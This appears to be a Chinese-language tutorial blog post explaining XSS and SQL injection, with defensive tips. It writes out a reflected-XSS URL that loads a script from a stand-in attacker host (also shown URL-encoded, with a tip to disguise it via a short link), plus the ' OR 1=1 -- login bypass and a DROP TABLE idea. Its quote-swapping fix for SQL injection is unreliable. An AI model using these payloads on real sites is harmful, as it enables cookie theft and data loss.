Skip to main content

SQL-injection

CVE

公共漏洞和暴露(英語:CVE, Common Vulnerabilities and Exposures)

https://zh.wikipedia.org/zh-tw/%E5%85%AC%E5%85%B1%E6%BC%8F%E6%B4%9E%E5%92%8C%E6%9A%B4%E9%9C%B2

XSS

全名是 Cross-site Script Attack,由白話一點的說明被攻擊的情境就是

今天我去某一家餐廳吃飯,一走進去就被技巧高超的扒手把你的錢包幹走

我= 使用者 / 餐廳 = 網站 / attacker = 扒手 / 錢包 = 使用者機密資訊 / 幹走 (動作) = 灌入的 script

用更白話一點的說法,就是借刀殺人

那實際上,攻擊者是利用網站上提供的輸入的欄位,以及沒有驗證過的參數,來插入惡意 javascript 進行攻擊 ,若沒有做防範,可能你一進去網站,就會被轉址到其他地方,或是點擊到某一個 button 或是 a 連結,然後就把代表個人敏感資訊的 cookie 傳送到攻擊者手中。

這種的攻擊的手法分作三種

Stored XSS

透過網站的輸入機制,夾帶惡意 script,存進後端資料庫中,當今天網站是一個留言板或是要撈資料庫資料 render 到前端頁面的時候,由於瀏覽器分辨不出攻擊者輸入的內容是 script,當渲染完成的那一瞬間就會執行,完成攻擊。

Reflected XSS

透過網址的 query 帶入 script 透過 GET 進行攻擊,攻擊者會把釣魚連結寄送給你,當使用者點擊下去,隨及把放入的 script 插入進網站執行,但網站表面看起來非常正常,跟平常使用的一樣。

有點抽像?雖然無法真的攻擊但 call out google 示意一下
google 搜尋時網址後面的 query 會放上q = 你要搜尋的東西 

試試看更改網址 q= 裡面的內容,google 搜尋列的內容會跟者改變

這樣就很清楚了吧,透過這樣的特性,今天攻擊者在後面植入

<script>http://localhost:3000/test/?username=“><script src=”http://attack.com/js/malicious.js”></script><a href=”

點下去就 GG 了,可能會說這樣太明顯白癡才會上當,那再變形一下
使用https://meyerweb.com/eric/tools/dencoder/  來編碼

http://localhost:3000/test/?username=%22%3E%3Cscript%20src%3D%22http%3A%2F%2Fattack.com%2Fjs%2Fmalicious.js%22%3E%3C%2Fscript%3E%3Ca%20href%3D%22

是不是又可信了一點,你可能又會說不不不後面那一長串是想幹嗎
那我再用短網址

https://bit.ly/345646Omfgddfgd

嗯。。。失手的機率大大提高

DOM-Based XSS

相較於前面的兩種,主要是後端的責任,這種攻擊要由前端來防,主要是透過,前端 DOM 操作的漏洞,來插入 script 進行攻擊,可以想像一下,今天你的小專案 todo-list,輸入待做事項並在頁面渲染出來,如果是選擇 innerHTML 的方式插入,如果輸入是一個 script,會被瀏覽器判斷回 DOM 物件,那麼就會被執行達到攻擊。

解決方法

  • 將要炫染在頁面上的資料在傳遞輸出出去的時候,進行編碼 encoding,瀏覽器會當作純文字自動轉換,且並不會執行 script

=== %3Cscript%3E%3C%2Fscript%3E //這兩個是一樣的

  • 針對可以輸入的欄位 (ex: url 、搜尋列、留言區、表單進行)驗證、檢查,包括格式、長度、白名單等等
  • 對於重要的資訊防護,對 cookie 設定 httpOnly,沒辦法利用 javascript 來拉出 cookie,或是加入 Content-Security-Policy 請看這篇

SQL injection

XSS 原理很像,透過前端輸入,當輸入的內容傳到後端,後端利用傳遞來的內容,透過輸入惡意的字串,達到更改語法邏輯或是加入特殊的指令,對資料庫進行攻擊,可能造成的後果,像是 Table 遺失、資料庫內的資料外洩、修改資料庫的內容。
嗯。。。這絕對是毀滅性的攻擊,想到都怕

舉例

假設在登入頁面,輸入並傳送帳號密碼到後端去,一般而言會執行

"SELECT * FROM customers WHERE name =${email} AND password = ${password}

但如果今天攻擊者把輸入在 name 的東西改成

‘OR 1=1 --

執行出來的語法就會變成

"SELECT * FROM customers WHERE name =''OR 1=1 --

根據語法的定義

  • 「 ' 」單引號 ,會把內容 input 輸入內容關閉
  • OR ,或者的意思
  • 1 = 1 ,恆正 等於 true 的意思
  • -- ,把後面的內容註解

那撈出的資料就是 customers 所有的資料,直接大外洩。

類似的方法也可以加入 分號「 ;」,作分隔後面增加 DROP Table,直接把資料抹去,怕。。。

解決方法

  • 利用正則表達式(regex)去驗證輸入內容,把單引號改成雙引號
  • 限制輸入的字元長度,及輸入格式
  • 設定使用者權限,限制能夠作的動作
  • 使用 ORM,避免直接使用 SQL 語法

結論

資安攻擊這件事有時候看很抽象,因此推薦這部影片有點長,有 XSS 範例實際操作,比起那邊猜、憑空想,看實際做會比較清楚,就這樣啦,附上影片內提到的遊戲

https://xss-game.appspot.com

https://fufong79570.medium.com/%E9%97%9C%E6%96%BCxss-sql-injection-c284d2041ad9